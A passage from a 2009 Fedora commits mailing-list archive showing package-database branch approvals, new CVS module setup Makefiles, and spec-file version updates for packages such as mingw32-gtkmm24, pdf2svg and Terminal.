From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:28:20 +0000
Subject: [pkgdb] wb_builder (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006212820.BD8F610F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for wb_builder
kevin has set commit to Approved for 107427 on wb_builder (Fedora 12)
kevin has set checkout to Approved for 107427 on wb_builder (Fedora 12)
kevin has set build to Approved for 107427 on wb_builder (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/wb_builder



From kevin at fedoraproject.org  Tue Oct  6 21:28:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:28:31 +0000 (UTC)
Subject: rpms/wb_builder/devel - New directory
Message-ID: <20091006212831.61D1D11C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/wb_builder/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseS8068/rpms/wb_builder/devel

Log Message:
Directory /cvs/pkgs/rpms/wb_builder/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:28:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:28:31 +0000 (UTC)
Subject: rpms/wb_builder - New directory
Message-ID: <20091006212831.27FE811C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/wb_builder
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseS8068/rpms/wb_builder

Log Message:
Directory /cvs/pkgs/rpms/wb_builder added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:28:58 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:28:58 +0000 (UTC)
Subject: rpms/wb_builder Makefile,NONE,1.1
Message-ID: <20091006212858.49EE911C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/wb_builder
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseS8068/rpms/wb_builder

Added Files:
	Makefile 
Log Message:
Setup of module wb_builder


--- NEW FILE Makefile ---
# Top level Makefile for module wb_builder
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 21:28:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:28:59 +0000 (UTC)
Subject: rpms/wb_builder/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006212859.6B09711C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/wb_builder/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvseS8068/rpms/wb_builder/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module wb_builder


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: wb_builder
# $Id: Makefile,v 1.1 2009/10/06 21:28:58 kevin Exp $
NAME := wb_builder
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 21:29:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:29:15 +0000
Subject: [pkgdb] rubygem-ditz was added for hpejakle
Message-ID: <20091006212915.B9F8C10F892@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-ditz with summary A command-line issue tracker
kevin has approved Package rubygem-ditz
kevin has added a Fedora devel branch for rubygem-ditz with an owner of hpejakle
kevin has approved rubygem-ditz in Fedora devel
kevin has approved Package rubygem-ditz
kevin has set commit to Approved for 107427 on rubygem-ditz (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-ditz (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-ditz (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-ditz



From pkgdb at fedoraproject.org  Tue Oct  6 21:29:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:29:18 +0000
Subject: [pkgdb] rubygem-ditz summary updated by kevin
Message-ID: <20091006212918.1EF1310F89C@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-ditz summary to A command-line issue tracker

To make changes to this package see:
  /pkgdb/packages/name/rubygem-ditz



From pkgdb at fedoraproject.org  Tue Oct  6 21:29:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:29:18 +0000
Subject: [pkgdb] rubygem-ditz (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006212918.2AB8510F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-ditz
kevin has set commit to Approved for 107427 on rubygem-ditz (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-ditz (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-ditz (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-ditz



From pkgdb at fedoraproject.org  Tue Oct  6 21:29:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:29:18 +0000
Subject: [pkgdb] rubygem-ditz (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006212918.32ADF10F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-ditz
kevin has set commit to Approved for 107427 on rubygem-ditz (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-ditz (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-ditz (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-ditz



From pkgdb at fedoraproject.org  Tue Oct  6 21:29:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:29:18 +0000
Subject: [pkgdb] rubygem-ditz (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006212918.3AF3510F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for rubygem-ditz
kevin has set commit to Approved for 107427 on rubygem-ditz (Fedora 10)
kevin has set checkout to Approved for 107427 on rubygem-ditz (Fedora 10)
kevin has set build to Approved for 107427 on rubygem-ditz (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-ditz



From pkgdb at fedoraproject.org  Tue Oct  6 21:29:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:29:18 +0000
Subject: [pkgdb] rubygem-ditz (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006212918.500E210F8B0@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for rubygem-ditz
kevin has set commit to Approved for 107427 on rubygem-ditz (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on rubygem-ditz (Fedora EPEL 5)
kevin has set build to Approved for 107427 on rubygem-ditz (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-ditz



From kevin at fedoraproject.org  Tue Oct  6 21:29:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:29:26 +0000 (UTC)
Subject: rpms/rubygem-ditz - New directory
Message-ID: <20091006212926.1712C11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-ditz
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsbh9092/rpms/rubygem-ditz

Log Message:
Directory /cvs/pkgs/rpms/rubygem-ditz added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:29:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:29:26 +0000 (UTC)
Subject: rpms/rubygem-ditz/devel - New directory
Message-ID: <20091006212926.3E5E911C0299@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-ditz/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsbh9092/rpms/rubygem-ditz/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-ditz/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:29:33 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:29:33 +0000 (UTC)
Subject: rpms/rubygem-ditz Makefile,NONE,1.1
Message-ID: <20091006212933.BA95911C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-ditz
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsbh9092/rpms/rubygem-ditz

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-ditz


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-ditz
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 21:29:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:29:34 +0000 (UTC)
Subject: rpms/rubygem-ditz/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006212934.18E0611C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-ditz/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsbh9092/rpms/rubygem-ditz/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-ditz


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-ditz
# $Id: Makefile,v 1.1 2009/10/06 21:29:33 kevin Exp $
NAME := rubygem-ditz
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 21:30:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:30:35 +0000
Subject: [pkgdb] chronojump summary updated by kevin
Message-ID: <20091006213035.B396110F885@bastion2.fedora.phx.redhat.com>

kevin set package chronojump summary to A measurement, management and statistics sport testing tool

To make changes to this package see:
  /pkgdb/packages/name/chronojump



From pkgdb at fedoraproject.org  Tue Oct  6 21:30:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:30:26 +0000
Subject: [pkgdb] chronojump was added for olea
Message-ID: <20091006213026.C61FA10F89C@bastion2.fedora.phx.redhat.com>

kevin has added Package chronojump with summary A measurement, management and statistics sport testing tool
kevin has approved Package chronojump
kevin has added a Fedora devel branch for chronojump with an owner of olea
kevin has approved chronojump in Fedora devel
kevin has approved Package chronojump
kevin has set commit to Approved for 107427 on chronojump (Fedora devel)
kevin has set checkout to Approved for 107427 on chronojump (Fedora devel)
kevin has set build to Approved for 107427 on chronojump (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/chronojump



From pkgdb at fedoraproject.org  Tue Oct  6 21:30:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:30:35 +0000
Subject: [pkgdb] chronojump (Fedora, 10) updated by kevin
Message-ID: <20091006213035.D5A3210F894@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for chronojump
kevin has set commit to Approved for 107427 on chronojump (Fedora 11)
kevin has set checkout to Approved for 107427 on chronojump (Fedora 11)
kevin has set build to Approved for 107427 on chronojump (Fedora 11)
kevin approved watchbugzilla on chronojump (Fedora 11) for salimma
kevin approved watchcommits on chronojump (Fedora 11) for salimma

To make changes to this package see:
  /pkgdb/packages/name/chronojump



From pkgdb at fedoraproject.org  Tue Oct  6 21:30:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:30:35 +0000
Subject: [pkgdb] chronojump (Fedora, 10) updated by kevin
Message-ID: <20091006213035.EFECD10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for chronojump
kevin has set commit to Approved for 107427 on chronojump (Fedora 12)
kevin has set checkout to Approved for 107427 on chronojump (Fedora 12)
kevin has set build to Approved for 107427 on chronojump (Fedora 12)
kevin approved watchbugzilla on chronojump (Fedora 12) for salimma
kevin approved watchcommits on chronojump (Fedora 12) for salimma

To make changes to this package see:
  /pkgdb/packages/name/chronojump



From pkgdb at fedoraproject.org  Tue Oct  6 21:30:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:30:35 +0000
Subject: [pkgdb] chronojump (Fedora, 10) updated by kevin
Message-ID: <20091006213036.06B0C10F8A9@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on chronojump (Fedora devel) for salimma
kevin approved watchcommits on chronojump (Fedora devel) for salimma

To make changes to this package see:
  /pkgdb/packages/name/chronojump



From pkgdb at fedoraproject.org  Tue Oct  6 21:30:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:30:35 +0000
Subject: [pkgdb] chronojump (Fedora, 10) updated by kevin
Message-ID: <20091006213036.1E25210F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for chronojump
kevin has set commit to Approved for 107427 on chronojump (Fedora 10)
kevin has set checkout to Approved for 107427 on chronojump (Fedora 10)
kevin has set build to Approved for 107427 on chronojump (Fedora 10)
kevin approved watchbugzilla on chronojump (Fedora 10) for salimma
kevin approved watchcommits on chronojump (Fedora 10) for salimma

To make changes to this package see:
  /pkgdb/packages/name/chronojump



From kevin at fedoraproject.org  Tue Oct  6 21:30:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:30:45 +0000 (UTC)
Subject: rpms/chronojump/devel - New directory
Message-ID: <20091006213045.38AED11C02A0@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/chronojump/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZv9616/rpms/chronojump/devel

Log Message:
Directory /cvs/pkgs/rpms/chronojump/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:30:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:30:45 +0000 (UTC)
Subject: rpms/chronojump - New directory
Message-ID: <20091006213045.16EB811C029F@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/chronojump
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZv9616/rpms/chronojump

Log Message:
Directory /cvs/pkgs/rpms/chronojump added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:30:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:30:57 +0000 (UTC)
Subject: rpms/chronojump Makefile,NONE,1.1
Message-ID: <20091006213057.A00BC11C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/chronojump
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZv9616/rpms/chronojump

Added Files:
	Makefile 
Log Message:
Setup of module chronojump


--- NEW FILE Makefile ---
# Top level Makefile for module chronojump
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 21:30:58 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:30:58 +0000 (UTC)
Subject: rpms/chronojump/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006213058.1473311C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/chronojump/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZv9616/rpms/chronojump/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module chronojump


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: chronojump
# $Id: Makefile,v 1.1 2009/10/06 21:30:57 kevin Exp $
NAME := chronojump
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From sailer at fedoraproject.org  Tue Oct  6 21:33:33 2009
From: sailer at fedoraproject.org (sailer)
Date: Tue,  6 Oct 2009 21:33:33 +0000 (UTC)
Subject: rpms/mingw32-gtkmm24/devel .cvsignore, 1.5, 1.6 mingw32-gtkmm24.spec,
	1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091006213333.E27BF11C00C1@cvs1.fedora.phx.redhat.com>

Author: sailer

Update of /cvs/extras/rpms/mingw32-gtkmm24/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10425

Modified Files:
	.cvsignore mingw32-gtkmm24.spec sources 
Log Message:
update to 2.18.2
remove includes of nonexistent header files



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mingw32-gtkmm24/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	27 Sep 2009 16:40:18 -0000	1.5
+++ .cvsignore	6 Oct 2009 21:33:32 -0000	1.6
@@ -2,3 +2,4 @@ gtkmm-2.16.0.tar.bz2
 gtkmm-2.17.2.tar.bz2
 gtkmm-2.17.11.tar.bz2
 gtkmm-2.18.1.tar.bz2
+gtkmm-2.18.2.tar.bz2


Index: mingw32-gtkmm24.spec
===================================================================
RCS file: /cvs/extras/rpms/mingw32-gtkmm24/devel/mingw32-gtkmm24.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- mingw32-gtkmm24.spec	27 Sep 2009 17:07:52 -0000	1.7
+++ mingw32-gtkmm24.spec	6 Oct 2009 21:33:32 -0000	1.8
@@ -6,14 +6,14 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gtkmm24
-Version:        2.18.1
+Version:        2.18.2
 Release:        1%{?dist}
 Summary:        MinGW Windows C++ interface for GTK2 (a GUI library for X)
 
 License:        LGPLv2+
 Group:          Development/Libraries
 URL:            http://gtkmm.sourceforge.net/
-Source0:        http://ftp.gnome.org/pub/GNOME/sources/gtkmm/2.16/gtkmm-%{version}.tar.bz2
+Source0:        http://ftp.gnome.org/pub/GNOME/sources/gtkmm/2.18/gtkmm-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -22,7 +22,7 @@ BuildRequires:  mingw32-filesystem >= 52
 BuildRequires:  mingw32-gcc
 BuildRequires:  mingw32-gcc-c++
 BuildRequires:  mingw32-binutils
-BuildRequires:  mingw32-glibmm24 >= 2.21.2
+BuildRequires:  mingw32-glibmm24
 BuildRequires:  mingw32-atk
 BuildRequires:  mingw32-pango
 BuildRequires:  mingw32-gtk2
@@ -57,6 +57,12 @@ rm -rf $RPM_BUILD_ROOT
 make DESTDIR=$RPM_BUILD_ROOT install
 rm -rf $RPM_BUILD_ROOT/%{_mingw32_datadir}/gtkmm-2.4/demo/
 
+# hack: some headers are not available on win32
+sed -i -e "s,#include <gtkmm/pagesetupunixdialog.h>,," $RPM_BUILD_ROOT/%{_mingw32_includedir}/gtkmm-2.4/gtkmm.h
+sed -i -e "s,#include <gtkmm/printer.h>,," $RPM_BUILD_ROOT/%{_mingw32_includedir}/gtkmm-2.4/gtkmm.h
+sed -i -e "s,#include <gtkmm/printjob.h>,," $RPM_BUILD_ROOT/%{_mingw32_includedir}/gtkmm-2.4/gtkmm.h
+sed -i -e "s,#include <gtkmm/printunixdialog.h>,," $RPM_BUILD_ROOT/%{_mingw32_includedir}/gtkmm-2.4/gtkmm.h
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -84,6 +90,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Thomas Sailer <t.sailer at alumni.ethz.ch> - 2.18.2-1
+- update to 2.18.2
+- remove includes of nonexistent header files
+
 * Sun Sep 27 2009 Thomas Sailer <t.sailer at alumni.ethz.ch> - 2.18.1-1
 - update to 2.18.1 to match native
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mingw32-gtkmm24/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	27 Sep 2009 16:40:19 -0000	1.5
+++ sources	6 Oct 2009 21:33:32 -0000	1.6
@@ -1 +1 @@
-7b36f7ea10f183d14b20cad8c1f70daa  gtkmm-2.18.1.tar.bz2
+3e43e9eef1da8988a76a2815d6b31c91  gtkmm-2.18.2.tar.bz2



From bojan at fedoraproject.org  Tue Oct  6 21:34:25 2009
From: bojan at fedoraproject.org (bojan)
Date: Tue,  6 Oct 2009 21:34:25 +0000 (UTC)
Subject: rpms/subversion-api-docs/F-11 subversion-api-docs.spec,1.28,1.29
Message-ID: <20091006213425.B381E11C00C1@cvs1.fedora.phx.redhat.com>

Author: bojan

Update of /cvs/pkgs/rpms/subversion-api-docs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11146

Modified Files:
	subversion-api-docs.spec 
Log Message:
Bump up to 1.6.5.


Index: subversion-api-docs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/subversion-api-docs/F-11/subversion-api-docs.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- subversion-api-docs.spec	3 Sep 2009 09:05:11 -0000	1.28
+++ subversion-api-docs.spec	6 Oct 2009 21:34:24 -0000	1.29
@@ -1,6 +1,6 @@
 Name:           subversion-api-docs
-Version:        1.6.4
-Release:        2%{?dist}
+Version:        1.6.5
+Release:        1%{?dist}
 Summary:        Subversion API documentation
 
 Group:          Development/Tools
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_docdir}/subversion-%{version}/api-docs/*
 
 %changelog
+* Wed Oct  7 2009 Bojan Smojver <bojan at rexursive.com> 1.6.5-1
+- bump up to 1.6.5
+
 * Tue Sep  3 2009 Bojan Smojver <bojan at rexursive.com> 1.6.4-2
 - add search
 



From mathstuf at fedoraproject.org  Tue Oct  6 21:34:39 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Tue,  6 Oct 2009 21:34:39 +0000 (UTC)
Subject: rpms/pdf2svg/F-10 pdf2svg.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006213439.BD5BC11C00C1@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/pdf2svg/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11617

Modified Files:
	.cvsignore sources 
Added Files:
	pdf2svg.spec 
Log Message:
Initial commit


--- NEW FILE pdf2svg.spec ---
Name:           pdf2svg
Version:        0.2.1
Release:        2%{?dist}
Summary:        Small tool to convert PDF files into SVG

Group:          Applications/File
License:        GPLv2+
URL:            http://www.cityinthesky.co.uk/pdf2svg.html
Source0:        http://www.cityinthesky.co.uk/files/pdf2svg-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  poppler-glib-devel
BuildRequires:  cairo-devel

%description
A small tool to convert PDF files into SVG using poppler and cairo.


%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install INSTALL="install -p" DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc COPYING AUTHORS ChangeLog
%{_bindir}/pdf2svg


%changelog
* Sun Oct 4 2009 Ben Boeckel <MathStuf at gmail.com> 0.2.1-2
- Fix things for review

* Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 0.2.1-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pdf2svg/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:27:18 -0000	1.1
+++ .cvsignore	6 Oct 2009 21:34:39 -0000	1.2
@@ -0,0 +1 @@
+pdf2svg-0.2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pdf2svg/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:27:18 -0000	1.1
+++ sources	6 Oct 2009 21:34:39 -0000	1.2
@@ -0,0 +1 @@
+59b3b9768166f73b77215e95d91f0a9d  pdf2svg-0.2.1.tar.gz



From cwickert at fedoraproject.org  Tue Oct  6 21:39:19 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue,  6 Oct 2009 21:39:19 +0000 (UTC)
Subject: rpms/Terminal/devel .cvsignore, 1.12, 1.13 Terminal.spec, 1.31,
	1.32 sources, 1.12, 1.13
Message-ID: <20091006213919.D321211C00C1@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Terminal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12992

Modified Files:
	.cvsignore Terminal.spec sources 
Log Message:
* Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
- Update to 0.4.2
- Update icon cache scriptlets



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	1 Oct 2009 22:07:59 -0000	1.12
+++ .cvsignore	6 Oct 2009 21:39:19 -0000	1.13
@@ -1 +1 @@
-Terminal-0.4.1.tar.bz2
+Terminal-0.4.2.tar.bz2


Index: Terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/devel/Terminal.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- Terminal.spec	1 Oct 2009 22:07:59 -0000	1.31
+++ Terminal.spec	6 Oct 2009 21:39:19 -0000	1.32
@@ -1,6 +1,6 @@
 Summary: X Terminal Emulator
 Name: Terminal
-Version: 0.4.1
+Version: 0.4.2
 Release: 1%{?dist}
 License: GPLv2+
 URL: http://www.xfce.org/projects/terminal/
@@ -41,17 +41,17 @@ desktop-file-install                    
 rm -rf $RPM_BUILD_ROOT
 
 %post
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ] ; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
-fi
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
 
 %postun
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ] ; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
